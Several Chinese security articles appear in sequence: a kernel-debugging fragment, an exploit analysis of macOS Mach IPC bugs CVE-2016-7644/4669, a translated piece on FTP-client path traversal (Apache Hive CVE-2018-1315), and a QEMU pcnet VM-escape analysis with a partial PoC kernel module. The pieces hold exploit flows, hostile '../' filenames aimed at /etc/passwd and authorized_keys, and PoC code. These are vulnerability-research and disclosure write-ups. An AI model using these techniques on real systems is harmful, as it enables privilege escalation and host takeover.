Priority 8 BasePriority 8 PriorityDecrement 0 IoPriority 2 PagePriority 5
Child-SP RetAddr : Args to Child : Call Site
ffffcb80`4ec07698 fffff802`1453991d : 00000000`00000000 fffff802`14aac8e9 ffffcc8b`00000000 ffffcb80`4ec076f8 : 0xfffff802`14531424
ffffcb80`4ec076a0 00000000`00000000 : fffff802`14aac8e9 ffffcc8b`00000000 ffffcb80`4ec076f8 ffffb68d`6aa157c0 : 0xfffff802`1453991d
嗯，还是work.exe自己，看看是不是复制之类的操作；看汇编下附近的代码：
1: kd> ?rdx+rcx-1
Evaluate expression: -118739493964889 = ffff9401`cea433a7
1: kd> db ffff9401`cea433a7
ffff9401`cea433a7 6c 6f 20 77 6f 72 6c 64-0d 0a ea be 00 c0 ea be lo world........
1: kd> db rcx
ffff9401`cea44d54 6f 20 77 6f 72 6c 64 0d-0a 00 00 00 9c eb be 00 o world.........
确实是在复制字符串，这个不管，多几次g，断下来之后，看下进程名，调整断点如下：
1: kd> ba r4 0xffff9401`cdf953a4 "dt @$proc _EPROCESS -yn Image"
多执行机制g命令之后，如下图所示，出现了另一个进程也来读取这个数据：
简单看下这个进程当前的线程信息，如下：
可以知道的信息有线程的ID，线程的Teb信息，有了这些，直接用用户态调试器直接调试即可，但已经用到了内核调试器，那就简单看下当前的线程在干啥吧，看下他的用户态栈；大致浏览下信息，看看有没有什么特别的API调用；
好，接下来转战用户态调试器；如果大家对内核调试熟悉的话，完全可以直接用内核态调试器直接调试用户态程序，也没多麻烦；
## 5、分析部分之用户态conhost.exe进程行为分析
先来看下DeviceIoControl()函数原型：
BOOL DeviceIoControl(
HANDLE hDevice,
DWORD dwIoControlCode,
LPVOID lpInBuffer,
DWORD nInBufferSize,
LPVOID lpOutBuffer,
DWORD nOutBufferSize,
LPDWORD lpBytesReturned,
LPOVERLAPPED lpOverlapped
);
参数解释请见https://docs.microsoft.com/zh-cn/windows/win32/api/ioapiset/nf-ioapiset-deviceiocontrol
x64下，函数参数传递前4个参数是通过cd89寄存器传递的，剩余的通过栈传递，下边来找一下这几个参数：
下边来简单看下传输的缓冲区数据，看不出啥，这个需要去逆向分析通信协议了，不是我们关注的重点，那就让这个函数执行完，我们看看输出的内容吧：
0:000> dd 000000cbe9a7fcd0
000000cb`e9a7fcd0 011c5524 00000000 00000000 00000000
000000cb`e9a7fce0 00000000 00000000 e9a7fd58 000000cb
000000cb`e9a7fcf0 00000004 00000000
原来conhost.exe是通过这个DeviceIoControl()API通过500006这个控制码跟驱动要的数据；
至此整够过程全部分析完毕；
## 6、总结
本文从printf的源码层层深入分析，到驱动的调试逆向分析，再到conhost.exe进程的数据获取过程的详细分析；本文涉及到的知识点比较多；总结起来有以下几点：
1、printf源码的调试跟踪，如何定位观点点；
2、内核对象管理，设备对象，驱动对象及主要的例程；
3、MDL；
4、内核调试；
5、用户态调试；
6、用户态程序通过DeviceIoControl()与内核驱动交互，获取特定数据；
7、printf实现的多进程架构；涉及的内容比较多，希望读者花点时间好
6、用户态程序通过DeviceIoControl()与内核驱动交互，获取特定数据；
7、printf实现的多进程架构；
好整理总结； | 社区文章 |
作者：[
**mrh**](http://turingh.github.io/2017/01/15/CVE-2016-7644-%E4%B8%89%E8%B0%88Mach-IPC/)
## 0x00 摘要
本文是第三篇基于漏洞分析来学习`Mach IPC`的方面知识的记录。
阅读顺序如下。
1.[再看CVE-2016-1757—浅析mach
message的使用](http://turingh.github.io/2016/07/05/%E5%86%8D%E7%9C%8BCVE-2016-1757%E6%B5%85%E6%9E%90mach%20message%E7%9A%84%E4%BD%BF%E7%94%A8/)
2.[CVE-2016-7637—再谈Mach
IPC](http://turingh.github.io/2017/01/10/CVE-2016-7637-%E5%86%8D%E8%B0%88Mach-IPC/)
3.从CVE-2016-7644回到CVE-2016-4669（本文）
[CVE-2016-7644](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-7644)这个漏洞，本身是一个很简单的漏洞，但是通过一些技巧，可以做一些更有意思的事情。
`poc`与`writeup`在[这里](https://bugs.chromium.org/p/project-zero/issues/detail?id=965&can=1&q=label%3AFinder-ianbeer&sort=-id)。
CVE-2016-4669的POC，之前我已经分析过了,详见[CVE-2016-4669分析与调试](http://turingh.github.io/2016/11/07/CVE-2016-4669%E5%88%86%E6%9E%90%E4%B8%8E%E8%B0%83%E8%AF%95/)。在做完这一系列的`IPC`相关的漏洞研究与学习之后，尝试的对CVE-2016-4669这个漏洞实现一个提权的利用。
并不能稳定触发，不过也加深了对内核的内存布局与IPC模块的理解。代码在[这里](https://github.com/turingH/CVE-2016-4669)。
## 0x01 CVE-2016-7644 POC分析
漏洞的成因并不复杂，当两个线程同时调用时，`ipc_port_release_send`函数可能会被调用两次。
kern_return_t
set_dp_control_port(
host_priv_t host_priv,
ipc_port_t control_port)
{
if (host_priv == HOST_PRIV_NULL)
return (KERN_INVALID_HOST);
if (IP_VALID(dynamic_pager_control_port))
ipc_port_release_send(dynamic_pager_control_port); <--竞争发生的地方
dynamic_pager_control_port = control_port;
return KERN_SUCCESS;
}
在`ipc_port_release_send`函数内会修改`port`的一些属性，因为两个线程同时调用，触发了并发的漏洞，导致了`bug`的发生。
void
ipc_port_release_send(
ipc_port_t port)
{
ipc_port_t nsrequest = IP_NULL;
mach_port_mscount_t mscount;
if (!IP_VALID(port))
return;
ip_lock(port);
assert(port->ip_srights > 0); <--线程[2] ip_srights == 0，触发assert，导致内核崩溃
port->ip_srights--;
[...]
ip_unlock(port); <--线程[1] ip_srights已经变为0，且port锁已经释放
[...]
}
POC 代码编译成功之后，利用shell循环执行就可以触发内核崩溃，因为是并发的漏洞，所以需要尝试的次数比较多，手动执行可能很难触发。
## 0x02 **mach_portal_redist 相关利用代码分析**
通过阅读`mach_portal_redist`项目的`kernel_sploit.c`文件，漏洞的利用总共分为以下几个部分。
* 获取内核中指向`port`的野指针
* 堆内存的布局
* 通过`UAF`获取`kernel port`
想要完全理解这几个部分，就需要了解更多的`IPC`相关的知识。
### 2.1 利用流程
通过漏洞获取一个指向`port`的野指针，流程大致如下。
//申请port
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &p);
//在ipc系统中隐藏一个port的reference
stash_port (p) ;
//dynamic_pager_control_port获取一个port的reference
set_dp_control_port(host_priv, p) ;
// [1] 准备阶段结束
//释放task对port的send right
mach_port_deallocate (p);
//触发漏洞
race();
//释放stash_port
free_stashed_ports();
// [2] 获取port的野指针
### 2.2 stash_port
当代码执行到[1]处时，做好了所有触发漏洞前的准备。我们的`port`拥有3对`right`和`reference`。
通过`mach_port_allocate`函数的执行，`task`拥有port的一份`right`和`reference`。
通过`set_dp_control_port`函数的执行，`dynamic_pager_control_port`拥有port的一份`right`和`reference`。
这两个部分比较容易理解，`stash_port`的原理较为复杂，利用了`IPC`系统通过`mach message`传递消息时的特性。
在通过`message`传递一个`port right`时的流程大致如下。
/*
ipc_kmsg_copyin_body
|
|----> ipc_kmsg_copyin_ool_ports_descriptor
|
|-----> ipc_object_copyin
|
|----> ipc_right_copyin
*/
kern_return_t
ipc_right_copyin(
{
[...]
case MACH_MSG_TYPE_MAKE_SEND: {
if ((bits & MACH_PORT_TYPE_RECEIVE) == 0)
goto invalid_right;
port = (ipc_port_t) entry->ie_object;
assert(port != IP_NULL);
ip_lock(port);
assert(ip_active(port));
assert(port->ip_receiver_name == name);
assert(port->ip_receiver == space);
port->ip_mscount++;
port->ip_srights++; //通过发送数据，但是不从port中读取出来，使得right和reference都加1
ip_reference(port);
ip_unlock(port);
*objectp = (ipc_object_t) port;
*sorightp = IP_NULL;
break;
}
[...]
}
当代码通过`IPC`系统发送一个`port
right`时，`port`的`right`和`reference`都会加1，而在读取消息时，会把`right`和`reference`减1，所以在未调用`free_stashed_ports`读取出`message`之前，就在`IPC`系统中存放了一份`port`的引用。
## 2.3 mach_port_deallocate
调用`mach_port_deallocate`函数可以释放目标`port`的一个`RIGHT`。我们的`port`的`reference`为3，`sright`是2。
### 2.4 race
`race`就是利用了`set_dp_control_port`函数的漏洞，在并发执行的时，会导致对`dynamic_pager_control_port`连续两次调用`ipc_port_release_send`函数。
`ipc_port_release_send`每执行一次，会对目标`port`的`sright`和`reference`做出一次减一的操作。这个时候我们的`port`的`reference`变成了1，而`sright`变成了0，以为没有`sendright`存在了，所以会产生一个`notify`，通过这个土整，我们就可以知道成功的发出了条件竞争的漏洞了。
### 2.5 free_stashed_ports
在`stashed_ports_q`的消息队列中还保存着我们传递的`port`，只需要对`stashed_ports_q`调用`mach_port_destroy`，因为传递的`port`的`reference`已经是1了，在处理这个逻辑之后，`port`在内核中就已经被释放了，而我们的`task`中还保存了一个`dangling`的`port`。
/*
mach_port_destroy
|
|--->ipc_right_destroy
|
|--->ipc_port_destroy
|
|--->ipc_mqueue_destroy
|
|--->ipc_kmsg_reap_delayed
|
|--->ipc_kmsg_clean_body
*/
调用栈大致如上所示，最核心的逻辑在`ipc_kmsg_clean_body`函数里实现。
## 0x03 回到CVE-2016-4669
对CVE-2016-4669的POC和漏洞成因的分析在[这里](http://turingh.github.io/2016/11/07/CVE-2016-4669%E5%88%86%E6%9E%90%E4%B8%8E%E8%B0%83%E8%AF%95/)。
没有了解过这个漏洞的同学可以先了解一下。
经过对`IPC`模块一系列的漏洞的分析与学习，我尝试着对之前分析过的`CVE-2016-4669`这个漏洞写一写利用。
思路大致如下：
* kalloc.16 的内存布局。
* 触发漏洞，在内存中访问越界，对其他`port`调用`ipc_port_release_send`。创造`dangling port`。
* 重用`port`，获得`root`权限。
### 3.1 kalloc.16内存布局
在正常的情况下，kalloc.16的某个`Page`中的内存布局如下图所示(更多关于内存布局的只是可以查看[这里](http://turingh.github.io/2016/11/07/CVE-2016-4669%E5%88%86%E6%9E%90%E4%B8%8E%E8%B0%83%E8%AF%95/))：
* [a]标记出的就是`kalloc.16`这个`zone`中`free element`。
* [b]是已经被使用的`element`，且16个字节都使用到了。
* [c]是已经被使用的`element`，但是只用前面八个字节，所有后面8个字节是`0xdeadbeefdeadbeef`。
因为漏洞会越界访问，对下个`element`中的地址调用`ipc_port_release_send`，所以通过向一个很多的`stash
port`，发送同一个`target port`的`right`，在发送完成后再释放其中一部分得`stash
port`，在`kalloc.16`的`zone`中制造触发漏漏洞的时候使用的`free element`。
在构造完成后大致如下：
### 3.2 触发漏洞
这里要把`patch`的参数个数从1改成2。
#if UseStaticTemplates
InP->init_port_set = init_port_setTemplate;
InP->init_port_set.address = (void *)(init_port_set);
InP->init_port_set.count = 2;//1; // was init_port_setCnt;
#else /* UseStaticTemplates */
InP->init_port_set.address = (void *)(init_port_set);
InP->init_port_set.count = 2;//1; // was init_port_setCnt;
出发漏洞后，就可以看到内存布局。
简单的调试流程如下：
先找到`mach_ports_register`函数第一次调用`ipc_port_release_send`的地方，并下一个断点。
0xffffff800b0e22aa <+506>: call 0xffffff800b1c1bd0 ; lck_mtx_unlock
0xffffff800b0e22af <+511>: lea rax, [r15 + 0x1]
0xffffff800b0e22b3 <+515>: cmp rax, 0x2
0xffffff800b0e22b7 <+519>: jb 0xffffff800b0e22c1 ; <+529> at ipc_tt.c:1096
0xffffff800b0e22b9 <+521>: mov rdi, r15
0xffffff800b0e22bc <+524>: call 0xffffff800b0c98f0 ; ipc_port_release_send at ipc_port.c:1560
0xffffff800b0e22c1 <+529>: lea rax, [r13 + 0x1]
0xffffff800b0e22c5 <+533>: cmp rax, 0x2
0xffffff800b0e22c9 <+537>: jb 0xffffff800b0e22d3 ; <+547> at ipc_tt.c:1096
0xffffff800b0e22cb <+539>: mov rdi, r13
0xffffff800b0e22ce <+542>: call 0xffffff800b0c98f0 ; ipc_port_release_send at ipc_port.c:1560
0xffffff800b0e22d3 <+547>: lea rax, [rbx + 0x1]
0xffffff800b0e22d7 <+551>: cmp rax, 0x2
0xffffff800b0e22db <+555>: jb 0xffffff800b0e22e5 ; <+565> at ipc_tt.c:1097
0xffffff800b0e22dd <+557>: mov rdi, rbx
0xffffff800b0e22e0 <+560>: call 0xffffff800b0c98f0 ; ipc_port_release_send at ipc_port.c:1560
(lldb) b *0xffffff800b0e22bc
Breakpoint 1: where = kernel`mach_ports_register + 524 at ipc_tt.c:1097, address = 0xffffff800b0e22bc</span>
然后执行`exp`程序，一般情况下是第二次命中断点时，`portsCnt=3`（第一次命中时`portsCnt=1`并不是我们的代码触发的，可以不管）。内存布局如下：
(lldb) p/x memory
(mach_port_array_t) $10 = 0xffffff80115cf9f0
(lldb) memory read --format x --size 8 --count 50 memory-0x20
[...]
0xffffff80115cf9a0: 0xffffff8013dee0e0 0x0000000000000000 [target_port,NULL]
0xffffff80115cf9b0: 0xffffff8013dee0e0 0x0000000000000000 [target_port,NULL]
0xffffff80115cf9c0: 0xffffff8013dee0e0 0x0000000000000000 [target_port,NULL]
0xffffff80115cf9d0: 0xffffff8013dee0e0 0x0000000000000000 [target_port,NULL]
0xffffff80115cf9e0: 0xffffff8013dee0e0 0x0000000000000000 [target_port,NULL]
0xffffff80115cf9f0: 0xffffff8015f0b680 0x0000000000000000 **[p_self,NULL]**
0xffffff80115cfa00: 0xffffff8013dee0e0 0x0000000000000000 [target_port,NULL]
0xffffff80115cfa10: 0xffffff8013dee0e0 0x0000000000000000 [target_port,NULL]
0xffffff80115cfa20: 0x0000000000000000 0xdeadbeefdeadbeef
0xffffff80115cfa30: 0xffffff8013dee0e0 0x0000000000000000
0xffffff80115cfa40: 0x0000000000000000 0xffffffff00000000
0xffffff80115cfa50: 0xffffff8013dee0e0 0x0000000000000000
0xffffff80115cfa60: 0xffffff8013dee0e0 0x0000000000000000
0xffffff80115cfa70: 0xffffff8013dee0e0 0x0000000000000000</span>
接着，`mach_ports_register`的逻辑就会越界将`0xffffff80115cfa00`处的`0xffffff8013dee0e0`拷到`task->itk_registered`中去。
for (i = 0; i < TASK_PORT_REGISTER_MAX; i++) {
ipc_port_t old;
old = task->itk_registered[i];
task->itk_registered[i] = ports[i];
ports[i] = old;
}
通过`lldb`查看`ports`的状态。
p *(ipc_port_t)0xffffff8013dee0e0
(ipc_port) $12 = {
ip_object = {
io_bits = 2147483648
io_references = 4057
io_lock_data = (interlock = 0x0000000000000000)
}
[...]
ip_srights = 4056
}
在第二次调用到`mach_ports_register`的时候，会对他们调用`ipc_port_release_send`。
//第二次调用mach_ports_register函数时，ports中的数据变成了刚刚存储的
for (i = 0; i < TASK_PORT_REGISTER_MAX; i++)
if (IP_VALID(ports[i]))
ipc_port_release_send(ports[i]);
这个时候再观察`port`在内核中的状态，机会发现`ip_srights`和`io_references`都做了一次 **减一** 。
这个时候在释放掉所有的`stashed port`就将我们的`target port` 释放掉了。因为通过触发`bug`多释放了一次。
* 通过`stashed port`创造了4096个`reference`，释放掉所有的`stashed port`就对`reference`做了4096次 **减一** ，通过触发bug 又多做了一次`release`，释放了一开始`mach_port_allocate`创建的`reference`。
* `srights`与`reference`相同。
### 3.3 重用port
这一步在我的`EXP`里就是看脸了，成功率并不是很高，没有找到稳定的利用方法。就不多说什么了，从别的`EXP`里抄来的代码。
## 0x04 小结
到这里整个`MACH-IPC`相关的漏洞分析与学习就暂时告一段落了。
这篇分析日志，断断续续写了很久，可能思路有点不连贯，有什么问题欢迎大家一起探讨：）
* * * | 社区文章 |
# FTP客户端攻击
##### 译文声明
本文是翻译文章，文章原作者 Danny Grander
原文地址：<https://snyk.io/blog/attacking-an-ftp-client/>
译文仅供参考，具体内容表达以及含义原文为准。
## 引言
我们经常会听到HTTP客户端（如Web浏览器）被恶意网页内容利用的漏洞，这里没有什么新奇的。但是如果FTP客户端本身存在可被利用的漏洞？
FTP客户端被其连接到的恶意服务器锁定。
本文将展示一个有趣的路径遍历漏洞，漏洞发现者已于2017年11月向多家受影响的供应商披露了此漏洞。此漏洞影响多个应用程序和库，允许FTP服务器在本地文件系统中创建或覆写任何文件。正如您在下面的细节中将看到的，此漏洞由于缺少验证，不仅影响FTP客户端，还影响许多其他应用程序和库，如Java，npm等。
## 漏洞
Ok，让我们一窥究竟！我们想要编写一个将远程FTP文件夹的内容下载到本地文件夹的功能。我们知道FTP协议本身并不提供下载文件夹的命令，但我们可以结合其他几个命令来实现此功能。
我们可以：
1、列出远程文件夹中的所有文件（LIST或NLST FTP命令）
2、对于上面列表结果的每个文件：下载文件并将其保存到本地文件夹（GET或MGET FTP命令）
使用Apache commons-net库执行此行为的一些Java代码示例如下：
private void downloadDirectory(FTPClient ftpClient, String remoteDir, String localDir) throws IOException
{
FTPFile[] subFiles = ftpClient.listFiles(remoteDir);
for (FTPFile aFile : subFiles)
{
if (!aFile.isDirectory())
{
String remoteFile = ftpClient.printWorkingDirectory() + File.separator + aFile.getName();
String localFile = localDir + File.separator + aFile.getName();
OutputStream downloadedStream = new BufferedOutputStream(new FileOutputStream(new File(localFile)));
boolean success = ftpClient.retrieveFile(remoteFile, downloadedStream);
outputStream.close();
}
}
}
上面的代码遍历服务器返回的每个文件，并将其下载到本地目标文件夹中。假设远程文件夹中的第一个文件名passwd，我们的本地目标文件夹是/var/data/sync/，那么我们最终会将文件下载到/var/data/sync/passwd。
但是如果此时连接的FTP服务器是恶意的，LIST命令得到的响应不是passwd文件名，而是../../../../etc/passwd。上面的代码最终会将文件放入/var/data/sync/../../../../etc/passwd，实际上新下载的文件会覆盖/
etc / passwd。
你可能会说，../../../../etc/passwd不是一个有效的文件名，事实确实如此。但RFC并没有说它不是。从技术上讲，文件名的有效性是交给客户端和服务器去验证的，文件系统无从知晓。例如，基于Windows的FTP服务器对LIST命令的响应如下所示：
05-26-95 10:57AM 143712 $LDR$",
"05-20-97 03:31PM 681 .bash_history",
"12-05-96 05:03PM <DIR> absoft2",
"11-14-97 04:21PM 953 AUDITOR3.INI",
"05-22-97 08:08AM 828 AUTOEXEC.BAK",
"01-22-98 01:52PM 795 AUTOEXEC.BAT",
"05-13-97 01:46PM 828 AUTOEXEC.DOS",
"12-03-96 06:38AM 403 AUTOTOOL.LOG",
"12-03-96 06:38AM <DIR> 123xyz",
"01-20-97 03:48PM <DIR> bin",
"05-26-1995 10:57AM 143712 $LDR$",
而基于unix的，看起来像这样：
"zrwxr-xr-x 2 root root 4096 Mar 2 15:13 zxbox",
"dxrwr-xr-x 2 root root 4096 Aug 24 2001 zxjdbc",
"drwxr-xr-x 2 root root 4096 Jam 4 00:03 zziplib",
"drwxr-xr-x 2 root 99 4096 Feb 23 30:01 zzplayer",
"drwxr-xr-x 2 root root 4096 Aug 36 2001 zztpp",
"-rw-r--r-- 1 14 staff 80284 Aug 22 zxJDBC-1.2.3.tar.gz",
"-rw-r--r-- 1 14 staff 119:26 Aug 22 2000 zxJDBC-1.2.3.zip",
"-rw-r--r-- 1 ftp no group 83853 Jan 22 2001 zxJDBC-1.2.4.tar.gz",
"-rw-r--r-- 1ftp nogroup 126552 Jan 22 2001 zxJDBC-1.2.4.zip",
"-rw-r--r-- 1 root root 111325 Apr -7 18:79 zxJDBC-2.0.1b1.tar.gz",
"drwxr-xr-x 2 root root 4096 Mar 2 15:13 zxbox",
实际上，还有很多其他的文件系统格式，下面是apache commons-net库支持的列表：
`OS400, AS400, L8, MVS, NETWARE, NT, OS2, UNIX, VMS, MACOS_PETER`
因此，典型的FTP客户端不会验证文件名，而是原样返回它们供发人员验证。
不用说，开发人员忽略了此项验证。不信可以查看一下github上托管的项目或StackOverflow 、 CodeJava上的代码片段。
## 案例研究：Apache HIVE
Apache Hive是一个基于Apache
Hadoop构建的数据仓库软件项目，用于提供数据汇总、查询和分析。Hive提供了一个类似SQL的界面来查询与Hadoop集成的各种数据库和文件系统中的数据。除此之外，它还支持使用COPY-FROM-FTP命令从FTP服务器复制数据。
COPY FROM FTP host [USER user [PWD password]] [DIR directory] [FILES files_wildcard]
[TO [LOCAL] target_directory] [options]
options:
OVERWRITE | NEW
SUBDIR
SESSIONS num
从代码中,我们看到调用了retrieveFileList()函数。
Run COPY FROM FTP command
*/
Integer run(HplsqlParser.Copy_from_ftp_stmtContext ctx) {
trace(ctx, “COPY FROM FTP”);
initOptions(ctx);
ftp = openConnection(ctx);
if (ftp != null) {
Timer timer = new Timer();
timer.start();
if (info) {
info(ctx, “Retrieving directory listing”);
}
retrieveFileList(dir);
timer.stop();
if (info) {
info(ctx, “Files to copy: “ + Utils.formatSizeInBytes(ftpSizeInBytes) + “, “ + Utils.formatCnt(fileCnt, “file”) + “, “ + Utils.formatCnt(dirCnt, “subdirectory”, “subdirectories”) + “ scanned (“ + timer.format() + “)”);
}
if (fileCnt > 0) {
copyFiles(ctx);
}
}
return 0;
}
在retrieveFileList函数内部，我们可以看到服务器返回的文件名直接加在了目录的后面没有经过任何验证（名称=目录+名称;）。该文件被添加到队列中，等待下载。
void retrieveFileList(String dir) {
if (info) {
if (dir == null || dir.isEmpty()) {
info(null, “ Listing the current working FTP directory”);
}
else {
info(null, “ Listing “ + dir);
}
}
try {
FTPFile[] files = ftp.listFiles(dir);
ArrayList<FTPFile> dirs = new ArrayList<FTPFile>();
for (FTPFile file : files) {
String name = file.getName();
if (file.isFile()) {
if (filePattern == null || Pattern.matches(filePattern, name)) {
if (dir != null && !dir.isEmpty()) {
if (dir.endsWith("/")) {
name = dir + name;
}
else {
name = dir + "/" + name;
}
}
if (!newOnly || !isTargetExists(name)) {
fileCnt++;
ftpSizeInBytes += file.getSize();
filesQueue.add(name);
filesMap.put(name, file);
}
}
之后，在downloader线程中，客户端从队列中取出文件直接进行下载。
java.io.File targetLocalFile = null;
File targetHdfsFile = null;
if (local) {
targetLocalFile = new java.io.File(targetFile);
if (!targetLocalFile.exists()) {
targetLocalFile.getParentFile().mkdirs();
targetLocalFile.createNewFile();
}
out = new FileOutputStream(targetLocalFile, false /*append*/);
}
一个可能的攻击是覆盖root用户的ssh authorized_keys文件，以超级用户身份登录客户端。假设Apache
Hive连接到我们的FTP服务器，每天下载一些商用数据。为了执行攻击，我们修改FTP服务器，将恶意路径遍历文件名发送回客户端。例如，可以用../../../../../../../home/root/.ssh/authorized_keys响应LIST命令。
当Hive以root身份执行这条语句，root的authorized_keys ssh文件将被攻击者已知的文件覆盖。
上述漏洞已披露给Apache基金会。
时间线：
Apache Hive项目的详细信息也于4/4/2018发布在CVE数据库中。
CVE-2018-1315：如果FTP服务器遭到入侵，HPL / SQL中的“COPY FROM FTP”语句可以写入任意位置 严重程度：中等
供应商：Apache软件基金会
受影响的版本：Hive 2.1.0至2.3.2
描述：当使用Hive的HPL / SQL扩展运行“COPY FROM
FTP”语句时，被入侵或恶意FTP服务器可能会导致文件被写入到运行该命令的集群中的任意位置。这是因为HPL /
SQL中的FTP客户端代码不验证下载代码的目标位置。该漏洞
不影响hive cli用户和hiveserver2用户，因为hplsql是单独的命令行脚本，需要以不同方式调用。
缓解：使用Hive 2.1.0到2.3.2的HPL / SQL的用户应该升级到2.3.3。 或者，通过其他方式禁用HPL / SQL的使用。
## 总结
本文概述了由于FTP服务器的数据未正确验证而导致的某些FTP客户端应用程序和库所具有的漏洞。过去也发生过类似的问题。
例如，在2002年，MITRE的一位首席信息安全工程师Steve Christey发现多个FTP客户端存在同样问题，包括本机linux
FTP客户端和wget。
对输入进行验证至关重要（而不只是为了安全）。 作为一名开发人员，关注普通人如何使用我们的API是非常容易的，但预期攻击者可能产生的意外输入同样重要。
处理来自FTP服务器的目录列表时，请确保过滤以/或包含..开头的文件名。 | 社区文章 |
# QEMU新虚拟机逃逸漏洞深入分析
|
##### 译文声明
本文是翻译文章，文章来源：360云安全团队
译文仅供参考，具体内容表达以及含义原文为准。
**author：360云安全团队**
摘要
11月30日14时,QEMU官方公开了两个由奇虎360云安全团队安全研究员–刘令(Ling
Liu)独立发现并报告的缓冲区溢出漏洞,通用漏洞编号分别为CVE-2015-7504和CVE-2015-7512,两个漏洞均存在于QEMU所虚拟实现的AMD
PC-Net II网卡组件。两个漏洞经过QEMU官方安全团队评估后确认可以造成“宿主机任意执行代码”。
目前已经确认360安全云( https://cloud.360.cn )不受漏洞影响。
北京时间2015年11月30日14时,QEMU官方公开了两个由奇虎360云安全团队安全研究员–刘令(Ling
Liu)独立发现并报告的缓冲区溢出漏洞,通用漏洞编号分别为CVE-2015-7504和CVE-2015-7512,两个漏洞均存在于QEMU所虚拟实现的AMD
PC-Net II网卡组件。两个漏洞经过QEMU官方安全团队评估后确认可以造成“宿主机任意执行代码”。
目前已经确认360安全云( [https://cloud.360.cn](https://cloud.360.cn/))不受漏洞影响。
QEMU是由法布里斯·贝拉(Fabrice
Bellard)所编写的以GPL许可证分发源码的模拟处理器。它可以模拟多款不同架构的CPU,还包含部分硬件模拟,包括软驱、显卡、并口、串口、声卡、网卡等,以提供基本的操作系统运行所需环境。其中QEMU所模拟的网卡种类较多,包括pcnet、ne2000、rtl8139、e1000等。
本次公开的两个漏洞就存在于模拟pcnet网卡设备的代码中(源码路径:hw/net/pcnet.c)。受这两个漏洞影响的软件/项目包括使用pcnet组件的QEMU、Xen、QEMU-KVM等。
**CVE-2015-7504 漏洞分析**
**简介**
今年10月,360云安全团队安全研究员–刘令(Ling
Liu)向QEMU的安全团队提交了pcnet网卡模拟组件中的一个缓冲区溢出漏洞,经过确认后漏洞编号为CVE-2015-7504。该漏洞具备如下特性:
1\. 该漏洞可通过虚拟机发包直接触发,攻击构造条件难度中等
2\. 利用该漏洞可以直接控制CPU的指令指针寄存器(Intel
X86体系为EIP或RIP),在未开启地址随机功能的宿主机系统上可以执行任意代码(即“虚拟机逃逸”)
3\. 配合特定反随机化技巧/漏洞攻击者可以在开启地址随机化保护功能的宿主操作系统上实现任意代码执行
**分析**
漏洞发生在pcnet网卡使用loopback/looptest模式接收数据时,会在接收到的数据尾部增加一个CRC校验码(长度4个字节),当发送包的大小刚好符合接收包设定的最大缓冲区大小(4096字节)时。在intel
X86-64体系下附加的CRC校验码会覆盖掉所在的PCNetStae_st结构体后面的中断处理指针irq中的后4个字节,攻击者可以构造特定的CRC校验码来实现进一步的攻击利用。
实际的漏洞数据大流程在pcnet的传输处理函数pcnet_transmit()中,该函数会从物理内存中载入将要发送的数据包的描述信息到一个被命名为tmd的结构体中(struct
pcnet_TMD),
再按照tmd.length的长度从物理内存中载入将要发送的数据包到PCNetStae_st结构体的buffer[4096]中。
pcnet中虚拟机发送的数据包的长度bcnt最大值为4096,刚好与buffer的大小一致。
通常情况下,发送4096字节长度的数据包不会发生溢出,但是pcnet支持looptest模式。当网卡中的CSR_LOOP被置位于looptest模式时,pcnet_transmit会调用pcnet_receive把要发送的数据包当作网卡接收到的数据包进行处理。
当网卡处于looptest模式时,pcnet_receive()函数会计算所收到的数据包的CRC值,并把CRC附加在数据包的后面,当数据包的长度为4096时,附加的4字节CRC值便会写在buffer[4096]的外面,产生了缓冲区溢出。
溢出的4字节则会覆盖掉IRQState结构的指针,指向虚假的IRQState结构,
在下一次qemu_set_irq()被调用时,便可控制EIP/RIP,改变程序的执行流程。
攻击内存布局大致如下:
**漏洞演示**
在虚拟机中编译PoC并加载内核模块,gdb中可看到s->irq被修改,这会导致执行流程的改变,可以成功控制s->irq->handler函数指针。
//
// PoC CVE-2015-7504
// written by LingLiu of Qihoo360 Cloud Security Team
//
#include
#include
#include
#define PCNET 0xc000
struct pcnet_TMD{
unsigned int tbadr;
signed short length;
signed short status;
unsigned int misc;
unsigned int res;
};
struct pcnet_initblk32{
unsigned short mode;
unsigned char rlen;
unsigned char tlen;
unsigned short padr[3];
unsigned short _res;
unsigned short ladrf[4];
unsigned int rdra;
unsigned int tdra;
};
void write_rap(unsigned int val)
{
outl(val,0x14+PCNET);
}
void write_csr(unsigned int idx,unsigned int val)
{
write_rap(idx);
outl(val,0x10+PCNET);
}
unsigned int read_csr(unsigned int idx)
{
write_rap(idx);
return inl(0x10+PCNET);
}
void write_bcr(unsigned int idx,unsigned int val)
{
write_rap(idx);
outl(val,0x1c+PCNET);
}
unsigned int read_bcr(unsigned int idx)
{
write_rap(idx);
return inl(0x1c+PCNET);
}
void looptest_overflow(void)
{
unsigned char *vpacket;
unsigned char *ppacket;
unsigned char *vtmd;
unsigned char *ptmd;
unsigned char *vinitblk;
unsigned char *pinitblk;
struct pcnet_TMD *tmd;
struct pcnet_initblk32 *initblk;
unsigned int oldval;
vpacket=(unsigned char *)kmalloc(4096,0);
memset(vpacket,0xdd,4096);
ppacket=(unsigned char *)virt_to_phys(vpacket);
vtmd=(unsigned char *)kmalloc(sizeof(struct pcnet_TMD),0);
ptmd=(unsigned char *)virt_to_phys(vtmd);
vinitblk=(unsigned char *)kmalloc(sizeof(struct pcnet_initblk32),0);
pinitblk=(unsigned char *)virt_to_phys(vinitblk);
memset(vinitblk,0x0,sizeof(struct pcnet_initblk32));
initblk=(struct pcnet_initblk32*)vinitblk;
initblk->tlen=0;
initblk->tdra=(unsigned int)ptmd;
initblk->rdra=(unsigned int)ptmd;//just enable recv
//pcnet_s_reset()
inw(0x14+PCNET);
//set CSR_SPND
oldval=read_csr(5);
write_csr(5,oldval|0x1);
//set CSR_IADR
write_csr(1,(unsigned int)pinitblk&0xffff);
write_csr(2,(unsigned int)pinitblk>>16);
//pcnet_init()
write_csr(0,0x1);
//set CSR_XMTRL=1
write_csr(0,0x4);
write_csr(78,0x1);
//set CSR_LOOP
oldval=read_csr(15);
write_csr(15,oldval|0x4);
oldval=read_csr(15);
//set CSR_PROM
oldval=read_csr(15);
write_csr(15,oldval|0x8000);
//set BCR_SWSTYLE=1
oldval=read_bcr(20);
write_bcr(20,1+(oldval&~0xff));
//clear CSR_SPND
oldval=read_csr(5);
write_csr(5,oldval&~0x1);
//pcnet_start()
write_csr(0,0x2);
tmd=(struct pcnet_TMD*)vtmd;
tmd->tbadr=(unsigned int)ppacket;
tmd->length=0xf000;//packet length = 4096
